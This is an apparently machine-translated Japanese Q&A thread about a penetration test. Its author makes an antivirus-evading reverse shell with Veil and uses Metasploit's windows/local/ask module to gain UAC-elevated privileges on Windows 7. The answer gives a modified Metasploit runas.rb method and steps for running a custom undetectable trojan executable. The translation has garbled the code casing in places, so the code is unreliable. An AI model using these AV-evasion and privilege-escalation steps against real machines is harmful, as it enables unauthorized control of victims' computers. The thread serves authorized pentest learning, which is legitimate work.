攻撃対象のマシンにアンチウイルスがインストールされています。
AVによって検出されない最初のリバースシェルペイロードを作成するために Veil Framework を使用することに成功しました。ただし、UACはWindows 7ターゲットで有効になっています。
Metasploitの exploit/windows/local/ask
ユーザーにプロンプトを表示するために、ユーザーが[はい]をクリックして、ペイロードが昇格された特権で別のリバースシェルを作成できることを期待します。
ただし、デフォルトのmetasploitペイロードはAVによって検出されるため、 payload/generic/custom
PAYLOADFILE
を私の生成したベールに設定するには.exe
。ただし、エクスプロイトを実行すると、次のエラーメッセージが表示されます。
msf exploit(ask) > exploit
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[-] Exploit failed: NoMethodError undefined method `length' for nil:NilClass
UACをバイパスする方法は他にもあることに気づきました。
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
このペンテスト実験の一部として、私はエンドユーザーにペイロードを手動で許可してもらいたいのですが。
私の構文はエクスプロイトに対して正しいですか?
msf exploit(ask) > show options
Module options (exploit/windows/local/ask):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION 4 yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE)
Payload options (generic/custom):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOADFILE /usr/share/veil-output/compiled/payload_0907_cs.exe no The file to read the payload from
PAYLOADSTR no The string to use as a payload
Exploit target:
Id Name
-- ----
0 Windows
エラーをGoogleで検索しましたが、関連するものは何も返さないようです。私はこれを正しい方法で行っていますか?
再生時に同じ問題が発生しました。
[〜#〜]更新[〜#〜]:
_windows/local/ask
_エクスプロイトを使用している場合、あなたはペイロードを設定する必要がないを利用しているようです。 _windows/local/ask
_エクスプロイトでは、undetectabletrojan.exeへの参照を設定できます。これは、UACを介して昇格された特権で実行されます。ただし、 @ SilverlightFox で指摘されているように、askエクスプロイトは常にAVによって簡単に検出される自己生成されたペイロードを使用します。これに対抗するには、_/usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
_のいくつかの変更が必要です。
/usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
_を開く_def Shell_execute_exe
_メソッドを次のように編集します( Pastebin ):def Shell_execute_exe(filename = nil, path = nil) exe_payload = generate_payload_exe payload_filename = filename || Rex::Text.Rand_text_alpha((Rand(8) + 6)) + '.exe' payload_path = path || get_env('TEMP') cmd_location = "#{payload_path}\#{payload_filename}" if filename == nil print_status("Uploading payload to the filesystem...") write_file(cmd_location, exe_payload) else print_status("Using #{payload_filename}...") end command, args = cmd_location, nil Shell_exec(command, args) end
MSFをリロード
正確な手順は次のとおりです。
windows/local/ask
_)windows/local/ask
_エクスプロイトの次のオプションを設定します。ask
エクスプロイトは常にWindowsのreverse_tcpペイロードを使用します。修正は_/usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
_を変更することです。
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
について言及していますこれを次のように変更します:print_status("Uploading #{payload_filename}...")
保存する
変更が反映される前にmsfconsoleを数回再起動する必要がありましたが、その後はうまくいきました。それが何を言っているのか教えてください。